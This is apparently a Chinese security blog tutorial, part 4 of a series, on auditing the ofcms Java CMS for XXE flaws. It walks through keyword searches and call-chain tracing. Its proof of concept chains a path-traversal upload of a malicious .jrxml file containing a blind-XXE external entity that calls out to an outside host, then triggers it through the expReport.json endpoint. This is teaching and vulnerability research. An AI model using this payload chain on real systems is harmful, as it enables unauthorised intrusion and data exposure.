文章目录
- Java代码审计篇 | ofcms系统审计思路讲解 - 篇4 | XXE漏洞审计
- 0. 前言
- 1. XXE代码审计【有1处】
- 1.1. 搜索JRXmlLoader
- 1.1.1. JRAntApiWriteTask
- 1.1.2. JRAntUpdateTask
- 1.1.3. TableReportContextXmlRule
- 1.1.4. JasperCompileManager【存在漏洞】
- 1.2. 搜索XMLReader
- 1.2.1. DTMManagerDefault
- 1.2.2. IncrementalSAXSource\_Xerces
- 1.2.3. IncrementalSAXSource\_Filter
- 1.2.4. XMLReaderManager
- 1.2.5. CoroutineParser
- 1.3. 搜索SAXBuilder
- 1.4. 搜索SAXReader
- 1.5. 搜索SAXParserFactory
- 1.5.1. SynthParser
- 1.5.2. ResolvingParser
- 1.5.3. Process
- 1.5.4. SAXCatalogReader
- 1.5.5. AndroidFontFinder
- 1.5.6. JRPrintXmlLoader
- 1.6. 搜索Digester
- 1.6.1. JRXmlLoader
- 1.6.2. JRPrintXmlLoader
- 1.6.3. JRXmlTemplateLoader
- 1.7. 搜索DocumentBuilderFactory
- 1.7.1. DTMManagerDefault
- 1.7.2. DOMCatalogReader
Java代码审计篇 | ofcms系统审计思路讲解 - 篇4 | XXE漏洞审计
0. 前言
我发现很多文章包括教程,大概套路是:只说有漏洞的点,将有漏洞的点指出,然后分析代码;或者黑盒测试出漏洞之后,然后分析代码。
我认为这是在分析漏洞代码,而非代码审计。代码审计文章或教程应该是从0开始找到漏洞所在,包括思路!
所以这里不管有没有漏洞,我都会把审计过程写出来,因此篇幅会很长,但我认为这样对你会很有帮助。
知其然亦知所以然。
由于篇幅较长,因此我会分几篇进行,本篇是整个系列的第4篇,讲解1个内容:
- XXE漏洞审计
本系列文章:
- Java代码审计篇 | ofcms系统审计思路讲解 - 篇1 | 环境搭建、路由机制
- Java代码审计篇 | ofcms系统审计思路讲解 - 篇2 | SQL注入漏洞审计
- Java代码审计篇 | ofcms系统审计思路讲解 - 篇3 | 文件上传漏洞审计
- Java代码审计篇 | ofcms系统审计思路讲解 - 篇4 | XXE漏洞审计
搭建好环境,确定好项目结构之后,按我思路是应该审计项目所使用框架漏洞的,这里关于框架漏洞就放最后篇章来说了,我们先了解下基础漏洞的审计~
文章中有错误点,或者思路上有什么问题的,欢迎师傅们留言指出~
1. XXE代码审计【有1处】
XXE代码审计常搜索的关键字如下:
XMLReader
SAXBuilder
SAXReader
SAXParserFactory
Digester
DocumentBuilderFactory
...
还有一个特殊的,用于加载.jrxml
文件,这是 JasperReports 特定的 XML 格式,用于定义报告模板。
JRXmlLoader
1.1. 搜索JRXmlLoader
当然这样搜比较慢,而且有很多重复的,这里有个小技巧,可以搜到JRXmlLoader之后,然后Find Usages(Alt+F7),然后找到Usage in import查看哪些类有导入JRXmlLoader。
概涉及的类有:
JRAntApiWriteTask
JRAntUpdateTask
TableReportContextXmlRule
JasperCompileManager
JasperDesignCache
JRDesignViewer
...
挨个查看一下,需要找解析jrxml
文件的代码以及对应方法的调用情况:
这里有个小技巧:因为这些类都是导入的jar包内部的,这说明,不是每个类和方法都会被使用到;
与之不同的则是项目自己写的类和方法,一般都会被用到。
因此:我们可以先查找类中方法的调用,确定有没有使用到,没有使用到就不用管了,这样可以节省大量的时间。
1.1.1. JRAntApiWriteTask
进到JRAntApiWriteTask类中之后,在本类中同样搜索JRXmlLoader,查看哪些位置使用了JRXmlLoader:
可以看到,代码中使用了JRXmlLoader.load(srcFileName)
,这里调用了.load()
方法,这是JRXmlLoader
加载jrxml
文件的方式。
其中这段代码是在writeApi()
方法中被调用。
接下来的思路是:先查找writeApi()
方法的调用情况(原因前面已经说了)
可以看到,同类下的execute()
方法对其有调用,但是通过查找execute()
的调用,发现并没有被使用。因此,此处就不需要再往下进行了。
1.1.2. JRAntUpdateTask
进到JRAntUpdateTask类中之后,在本类中同样搜索JRXmlLoader,查看哪些位置使用了JRXmlLoader,以及方法的调用情况:
和JRAntApiWriteTask类中的情况一样,execute()
没有被调用,不用管了。
1.1.3. TableReportContextXmlRule
这个类虽然导入了JRXmlLoader,但是没有调用.load()方法,所以也不用管了
1.1.4. JasperCompileManager【存在漏洞】
这个类中的方法很多,很多方法都用到了JRXmlLoader:
我们应该怎么定位呢?
想一下我们在干嘛?是不是在寻找XXE漏洞,回想XXE原理,其中前提是:代码需要解析xml(jrxml)文件才可能有漏洞,如果是生成xml文件是不是就不用管了。
因此:我们需要定位到解析xml(jrxml)文件的地方。
在JRXmlLoader中解析使用的是load()
方法,因此我们可以在当前类中搜索.load(,
发现定位到了5个位置:
来详细看一下:
分析一下代码,方法之间进行了互相调用,当然也调用了除了上述方法之外的方法。
下面我用调用图展示一下:
这三个调用链都涉及到了load()
方法,因此都有可能存在XXE漏洞。
接下来看每个调用链最上层的方法是怎么调用的(也就是找参数sourceFileName从哪来的),三个方法分别如下:(通过Find Usages/Alt+F7查询)
-
compileReportToFile()
方法,没有被调用,即该方法没有触发,不用管了~ -
第1个
compile(String sourceFileName)
方法,被当前类的compileReport(String sourceFileName)
方法调用 -
第2个compile(InputStream inputStream)方法,被当前类的
compileReport(InputStream inputStream)
方法调用 -
compileReportToStream()
方法,没有被调用,即该方法没有触发,不用管了~
目前,只需要关注其中两个就好:
- 1)
ompileReport(String sourceFileName)
- 2)
compileReport(InputStream inputStream)
继续查看其调用关系:其中compileReport(InputStream inputStream)
存在调用,ompileReport(String sourceFileName)
没有被调用。
定位到compileReport(InputStream inputStream)
的调用位置,查看源码:
ReprotAction
类的expReport()
方法将其调用。
并且ReprotAction
类上存在一个@Action(path = "/reprot")
注解,也就是说这里可以被前端请求触发执行。
触发该expReport()
方法的接口为:/admin/reprot/expReport.json
那么接下来做两件事:
- 1)确定传参,有无过滤
- 2)触发接口,进行漏洞测试
从下面这段代码可以看出:compileReport(new FileInputStream(file))
的file是从"/WEB-INF/jrxml/" + jrxmlFileName + ".jrxml"
获取的.jrxml
文件,而具体什么文件,由前端传递的“j”
参数决定。
简单来说就是:在/WEB-INF/jrxml/
目录下寻找“j”
参数指定的.jrxml
文件进行jrxml文件的解析。
并从调用链看出:整个过程没有对文件进行过滤,包括也没有禁止解析外部实体(默认可以解析外部实体)。
调用链如下:
expReport()->compileReport()->compile()->JRXmlLoader.load()
所以这里是存在XXE漏洞的。
那这样的话,我们只需要保证:前端触发/admin/reprot/expReport.json
接口时,传递“j”
参数指定的.jrxml
文件中存在恶意外部实体,就可以实现漏洞利用。
这里还有一个问题:“j”
参数指定的.jrxml
文件是在/WEB-INF/jrxml/
目录下,这里我们是不可控的,因此怎么让ta能够加载一个存在恶意外部实体的.jrxml
文件呢?
这里只能结合前面的文件上传漏洞,写入恶意.jrxml
,来实现XXE漏洞的利用(如果这里不存在文件上传漏洞,这里无法利用)。
接下来,尝试利用一下:(这里没有回显,使用盲XXE方式)
1)通过文件上传漏洞,上传一个带有恶意外部实体的.jrxml
文件。
file_name=../../../static/exp.jrxml
file_content=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E%3C%21DOCTYPE+root+%5B%3C%21ENTITY+%25+exp+SYSTEM+%22http%3A%2F%2Fxzlxvdibrb.iyhc.eu.org%22%3E%25exp%3B%5D%3E
file_content解码如下:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [<!ENTITY % exp SYSTEM "http://xzlxvdibrb.iyhc.eu.org">%exp;]>
2)触发/admin/reprot/expReport.json
接口
根据功能和接口可以定位到功能为止:用户管理-导出全部
点击“导出全部”,抓包,修改参数:
j=../../static/exp
可以看到,请求dnslog成功
1.2. 搜索XMLReader
注释忽略不看,剩余的大概涉及的类有
DTMManagerDefault
IncrementalSAXSource_Xerces
IncrementalSAXSource_Filter
XMLReaderManager
下面是接口
CoroutineParser
每个都大概看一下:(找方法的调用情况,及解析xml文件的相关方法,比如parse()等)
XMLReader的使用链为:
XMLReader.parse()
1.2.1. DTMManagerDefault
这个调用链非常的长,一般超过3个我都不会去审计了,因为ta有可能是组件内部使用的,有兴趣的师傅可以自行追一下方法调用链,说不定有组件0day哦~
1.2.2. IncrementalSAXSource_Xerces
该类中不存在解析xml文件的代码,故忽略
1.2.3. IncrementalSAXSource_Filter
此类中存在解析xml文件的代码
接下来,追踪其方法调用及参数传递
run()方法的调用很多:
但是存在一个问题,parse()方法所需的参数,并不是run()方法传递进来的。
因此接下来从参数传递进行分析,看是否可控
可以看到,该参数是startParse(InputSource source)
方法传入,接下来追踪下该方法
有两个类中调用了该方法,一个DTMManagerDefault,一个IncrementalSAXSource_Xerces
1.2.4. XMLReaderManager
疲倦了,师傅们自己追追吧~
1.2.5. CoroutineParser
疲倦了,师傅们自己追追吧~
1.3. 搜索SAXBuilder
不存在SAXBuilder。
1.4. 搜索SAXReader
搜索SAXReader之后,进入类之后,发现所搜到的都是变量名
并不是SAXReader对象,而是SAXCatalogReader类对象,没有解析xml文件的代码,所以不需要再看了。
📌
SAXCatalogReader
是一个与 XML 解析相关的概念,主要用于处理 XML 文档中的外部实体引用。它通常与 XML 解析器一起使用,以解决 DTD(Document Type Definition)或 XML 实体的重定向问题。通过配置SAXCatalogReader
,可以在解析 XML 文档时指定特定的目录文件,从而控制对外部资源的访问。
1.5. 搜索SAXParserFactory
SAXParserFactory的使用链为:
SAXParserFactory.newInstance().newSAXParser().parse()
所以在搜索到的类中,搜索.parse(
,如果有的话则存在解析xml,不存在则没有。
这里交给大家一个小技巧,使用正则表达式,搜索包含SAXParserFactory
且包含.parse(
的java类:
(SAXParserFactory(.|\n)*\.parse\()|(\.parse\((.|\n)*\.parse\(SAXParserFactory)
通过搜索,可以定位到比较精确的java类:
设计到的类有:
SynthParser
ResolvingParser
Process
SAXCatalogReader
AndroidFontFinder
JRPrintXmlLoader
1.5.1. SynthParser
追踪一下parse()
的调用,发现存在
继续追踪load()
,发现只在注释中出现,没有其他调用了,那就不用管了。
1.5.2. ResolvingParser
这个类搜索到的parse并不是用来解析xml文件的,所以忽略
1.5.3. Process
该类中存在解析xml文件的代码:
该段代码存在的方法为_main()
,但并未有调用,因此忽略
1.5.4. SAXCatalogReader
该类中存在解析xml文件的代码:
追踪下readCatalog()
方法的调用,这个时候,会发现,方法的调用链很长。此时也要结合参数的来源一同分析。
📌tips:方法的调用链很长,没完没了,其实这里差不多可以放弃了,如果是项目代码中真正用到了,代用链不会过长(当然也不一定,只是经验之谈)。
当然,你可以继续查看调用链,说不定会存在组件0day。
这里其实也可以结合参数来一起分析,参数可能在方法调用链的某个中间位置就确定了,那就不需要分析这么长的调用链了。
通过分析方法调用和参数传递,主要分为两种情况:
readCatalog()
方法的调用一部分来自其他类中readCatalog()
方法,而这些方法并没有再被调用,所以没有被使用,因此这部分忽略,见下图红框处:
剩下的就是parseCatalog()
方法了:
其中parseCatalog(URL aUrl)
无调用:
其中parseCatalogFile(String fileName)
调用链比较长,但是参数在该方法中就确定了:
不是可控的,不用管了。
最后的parseCatalog(String mimeType, InputStream is)
:
还得继续追踪其调用:
追踪到queryResolver()
方法,其参数也是不可控的,忽略。
SAXCatalogReader的分析到此为止。
1.5.5. AndroidFontFinder
该类中存在解析xml文件的代码:
其中参数来源为parseSystemDefaultFonts()
方法,追踪该方法的调用:
存在两个,但是parseSystemDefaultFonts()
方法所需参数并不是从这两个方法传入的,因此在这两个方法内部就确定了parseSystemDefaultFonts()
方法所需参数,即最终parse()
方法的参数。
那么分析一下:
这里可以看出,这个参数是固定不可控的,因此忽略,另一个方法内部也是如此,因此也忽略。
1.5.6. JRPrintXmlLoader
该类中存在解析xml文件的代码:
其方法为loadXML(InputStream is)
,追踪方法调用,
但是追踪其方法调用,发现最上层方法并没有被调用,截图略,其中调用链为:
load(String sourceFileName)
loadFromFile(String sourceFileName)
loadFromFile(JasperReportsContext jasperReportsContext, String sourceFileName)loadXML(InputStream is)digester.parse(is)
还有一个调用链为:
RViewer(String fileName, boolean isXML, Locale locale)
JRViewer(String fileName, boolean isXML, Locale locale, ResourceBundle resBundle)
JRViewer(JasperReportsContext jasperReportsContext,String fileName, boolean isXML, Locale locale, ResourceBundle resBundle)
loadReport(String fileName, boolean isXmlReport)loadXML(InputStream is)digester.parse(is)
不管哪个调用链,其最上层方法都没有被调用,因此忽略。
1.6. 搜索Digester
Digester的使用链为:
Digester.parse()
所以在搜索到的类中,搜索.parse(
,如果有的话则存在解析xml,不存在则没有。
使用正则表达式,搜索包含Digester
且包含.parse(
的java类:
(Digester(.|\n)*\.parse\()|(\.parse\((.|\n)*\.parse\(Digester)
通过搜索,可以定位到比较精确的java类:
涉及的类有:
JRXmlLoader
JRPrintXmlLoader
JRXmlTemplateLoader
1.6.1. JRXmlLoader
该类中的loadXML()
方法没有被调用,忽略
1.6.2. JRPrintXmlLoader
该类中的loadXML()
方法没有被调用,忽略
1.6.3. JRXmlTemplateLoader
该类中的loadTemplate()
方法没有被调用,忽略
1.7. 搜索DocumentBuilderFactory
DocumentBuilderFactory的使用链为:
DocumentBuilderFactory.newInstance().parse(new InputSource(new StringReader(xxx)))
所以在搜索到的类中,搜索.parse(
,如果有的话则存在解析xml,不存在则没有。
使用正则表达式,搜索包含DocumentBuilderFactory
且包含.parse(
的java类:
(DocumentBuilderFactory(.|\n)*\.parse\()|(\.parse\((.|\n)*\.parse\(DocumentBuilderFactory)
通过搜索,可以定位到比较精确的java类:
涉及到的类有:
DTMManagerDefault
DOMCatalogReader
XMLParserImpl
Process
TransformerImpl
XPathExpressionImpl
Metacity
JRXmlDocumentProducer
JRXmlUtils
JRStyledTextParser
SimpleFontExtensionHelper
MapFillComponent
FillPlaceItem
XmlSupport
接下来思路一下,查看每个类中相关代码
- parse是不在解析xml文件
- 其相关方法的调用关系
- 解析的xml文件参数是否可控
- 有无过滤、禁止解析外部DTD
1.7.1. DTMManagerDefault
之前遇到过,忽略。
1.7.2. DOMCatalogReader
该类中存在解析xml文件的代码:
其方法为readCatalog(Catalog catalog, InputStream is)
,追踪方法调用。
📌剩下的不想追了,累了~ 有兴趣的师傅可以自己每个都追下,这样就不会漏了,祝各位师傅天天出0day。
有好的技巧、好的思路的师傅也可以共享下思路,互相学习~~么么哒